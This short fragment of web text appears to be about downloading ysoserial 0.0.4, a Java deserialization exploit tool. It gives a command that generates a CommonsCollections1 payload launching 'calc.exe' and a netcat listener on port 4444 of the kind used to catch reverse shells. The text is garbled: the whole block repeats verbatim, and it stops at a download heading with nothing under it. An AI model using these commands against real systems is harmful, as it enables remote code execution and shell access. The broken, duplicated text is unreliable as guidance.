java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'calc.exe'
nc -lvnp 4444
Newer versions exist (e.g., 0.0.6), but 0.0.4 remains beloved for its simplicity and reliability in legacy environments.
If you are a penetration tester or a developer analyzing legacy systems, you must source this tool safely. 🛠️ Where to Safely Download ysoserial
java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'calc.exe'
nc -lvnp 4444
Newer versions exist (e.g., 0.0.6), but 0.0.4 remains beloved for its simplicity and reliability in legacy environments.
If you are a penetration tester or a developer analyzing legacy systems, you must source this tool safely. 🛠️ Where to Safely Download ysoserial